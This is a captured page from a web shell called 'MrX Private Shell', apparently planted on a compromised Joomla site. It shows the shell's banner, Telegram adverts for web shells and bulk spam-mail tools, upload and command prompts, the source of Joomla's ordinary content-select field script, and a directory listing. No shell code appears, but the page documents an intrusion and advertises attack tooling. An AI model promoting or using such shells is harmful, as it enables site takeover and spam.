__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import JoomlaDialog from 'joomla.dialog';

/**
 * @copyright  (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */


/**
 * Helper method to set values on the fields, and trigger "change" event
 *
 * @param {object} data
 * @param {HTMLInputElement} inputValue
 * @param {HTMLInputElement} inputTitle
 */
const setValues = (data, inputValue, inputTitle) => {
  const value = `${data.id || data.value || ''}`;
  const isChanged = inputValue.value !== value;
  inputValue.value = value;
  if (inputTitle) {
    inputTitle.value = data.title || inputValue.value;
  }
  if (isChanged) {
    inputValue.dispatchEvent(new CustomEvent('change', {
      bubbles: true,
      cancelable: true
    }));
  }
};

/**
 * Show Select dialog
 *
 * @param {HTMLInputElement} inputValue
 * @param {HTMLInputElement} inputTitle
 * @param {Object} dialogConfig
 * @returns {Promise}
 */
const doSelect = (inputValue, inputTitle, dialogConfig) => {
  // Use a JoomlaExpectingPostMessage flag to be able to distinct legacy methods
  // @TODO: This should be removed after full transition to postMessage()
  window.JoomlaExpectingPostMessage = true;
  // Create and show the dialog
  const dialog = new JoomlaDialog(dialogConfig);
  dialog.classList.add('joomla-dialog-content-select-field');
  dialog.show();
  return new Promise(resolve => {
    const msgListener = event => {
      // Avoid cross origins
      if (event.origin !== window.location.origin) return;
      // Check message type
      if (event.data.messageType === 'joomla:content-select') {
        setValues(event.data, inputValue, inputTitle);
        dialog.close();
      } else if (event.data.messageType === 'joomla:cancel') {
        dialog.close();
      }
    };

    // Clear all when dialog is closed
    dialog.addEventListener('joomla-dialog:close', () => {
      delete window.JoomlaExpectingPostMessage;
      window.removeEventListener('message', msgListener);
      dialog.destroy();
      resolve();
    });

    // Wait for message
    window.addEventListener('message', msgListener);
  });
};

/**
 * Update view, depending if value is selected or not
 *
 * @param {HTMLInputElement} inputValue
 * @param {HTMLElement} container
 */
const updateView = (inputValue, container) => {
  const hasValue = !!inputValue.value;
  container.querySelectorAll('[data-show-when-value]').forEach(el => {
    if (el.dataset.showWhenValue) {
      hasValue ? el.removeAttribute('hidden') : el.setAttribute('hidden', '');
    } else {
      hasValue ? el.setAttribute('hidden', '') : el.removeAttribute('hidden');
    }
  });
};

/**
 * Initialise the field
 * @param {HTMLElement} container
 */
const setupField = container => {
  const inputValue = container ? container.querySelector('.js-input-value') : null;
  const inputTitle = container ? container.querySelector('.js-input-title') : null;
  if (!container || !inputValue) {
    throw new Error('Incomplete markup of Content dialog field');
  }
  container.addEventListener('change', () => {
    updateView(inputValue, container);
  });

  // Bind the buttons
  container.addEventListener('click', event => {
    const button = event.target.closest('[data-button-action]');
    if (!button) return;
    event.preventDefault();

    // Extract the data
    const action = button.dataset.buttonAction;
    const dialogConfig = button.dataset.modalConfig ? JSON.parse(button.dataset.modalConfig) : {};
    const keyName = container.dataset.keyName || 'id';
    const token = Joomla.getOptions('csrf.token', '');

    // Handle requested action
    let handle;
    switch (action) {
      case 'select':
      case 'create':
        {
          const url = dialogConfig.src.indexOf('http') === 0 ? new URL(dialogConfig.src) : new URL(dialogConfig.src, window.location.origin);
          url.searchParams.set(token, '1');
          dialogConfig.src = url.toString();
          handle = doSelect(inputValue, inputTitle, dialogConfig);
          break;
        }
      case 'edit':
        {
          // Update current value in the URL
          const url = dialogConfig.src.indexOf('http') === 0 ? new URL(dialogConfig.src) : new URL(dialogConfig.src, window.location.origin);
          url.searchParams.set(keyName, inputValue.value);
          url.searchParams.set(token, '1');
          dialogConfig.src = url.toString();
          handle = doSelect(inputValue, inputTitle, dialogConfig);
          break;
        }
      case 'clear':
        handle = (async () => setValues({
          id: '',
          title: ''
        }, inputValue, inputTitle))();
        break;
      default:
        throw new Error(`Unknown action ${action} for Modal select field`);
    }
    handle.then(() => {
      // Perform checkin when needed
      if (button.dataset.checkinUrl) {
        const chckUrl = button.dataset.checkinUrl;
        const url = chckUrl.indexOf('http') === 0 ? new URL(chckUrl) : new URL(chckUrl, window.location.origin);
        // Add value to request
        url.searchParams.set(keyName, inputValue.value);
        url.searchParams.set('cid[]', inputValue.value);
        // Also add value to POST, because Controller may expect it from there
        const data = new FormData();
        data.append('id', inputValue.value);
        data.append('cid[]', inputValue.value);
        Joomla.request({
          url: url.toString(),
          method: 'POST',
          promise: true,
          data
        });
      }
    });
  });
};
const setup = container => {
  container.querySelectorAll('.js-modal-content-select-field').forEach(el => setupField(el));
};
document.addEventListener('DOMContentLoaded', () => setup(document));
document.addEventListener('joomla:updated', event => setup(event.target));

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 41.2 KB 0664
calendar.min.js File 24.52 KB 0664
calendar.min.js.gz File 6.77 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 788 B 0664
color-field-adv-init.min.js.gz File 430 B 0664
joomla-field-color-slider.js File 17.61 KB 0664
joomla-field-color-slider.min.js File 7.71 KB 0664
joomla-field-color-slider.min.js.gz File 2.64 KB 0664
joomla-field-fancy-select.js File 12.64 KB 0664
joomla-field-fancy-select.min.js File 6.06 KB 0664
joomla-field-fancy-select.min.js.gz File 2 KB 0664
joomla-field-media.js File 12.52 KB 0664
joomla-field-media.min.js File 8.14 KB 0664
joomla-field-media.min.js.gz File 2.41 KB 0664
joomla-field-module-order.js File 3.98 KB 0664
joomla-field-module-order.min.js File 2.4 KB 0664
joomla-field-module-order.min.js.gz File 1.04 KB 0664
joomla-field-permissions.js File 5.32 KB 0664
joomla-field-permissions.min.js File 3.43 KB 0664
joomla-field-permissions.min.js.gz File 1.29 KB 0664
joomla-field-send-test-mail.js File 2.49 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color.js File 12.69 KB 0664
joomla-field-simple-color.min.js File 7.44 KB 0664
joomla-field-simple-color.min.js.gz File 2.88 KB 0664
joomla-field-subform.js File 18.37 KB 0664
joomla-field-subform.min.js File 7.89 KB 0664
joomla-field-subform.min.js.gz File 2.44 KB 0664
joomla-field-user.js File 4.29 KB 0664
joomla-field-user.min.js File 2.84 KB 0664
joomla-field-user.min.js.gz File 1001 B 0664
joomla-media-select.js File 20.53 KB 0664
joomla-media-select.min.js File 14.54 KB 0664
joomla-media-select.min.js.gz File 3.42 KB 0664
modal-content-select-field.js File 5.67 KB 0664
modal-content-select-field.min.js File 2.57 KB 0664
modal-content-select-field.min.js.gz File 1.16 KB 0664
modal-fields.js File 6.91 KB 0664
modal-fields.min.js File 2.75 KB 0664
modal-fields.min.js.gz File 909 B 0664
passwordstrength.js File 6.39 KB 0664
passwordstrength.min.js File 2.73 KB 0664
passwordstrength.min.js.gz File 1.13 KB 0664
passwordview.js File 2.76 KB 0664
passwordview.min.js File 1.21 KB 0664
passwordview.min.js.gz File 600 B 0664
select-colour.js File 1.33 KB 0664
select-colour.min.js File 783 B 0664
select-colour.min.js.gz File 401 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 1.05 KB 0664
tag.min.js.gz File 528 B 0664
validate.js File 22.93 KB 0664
validate.min.js File 8.37 KB 0664
validate.min.js.gz File 3.11 KB 0664
Filemanager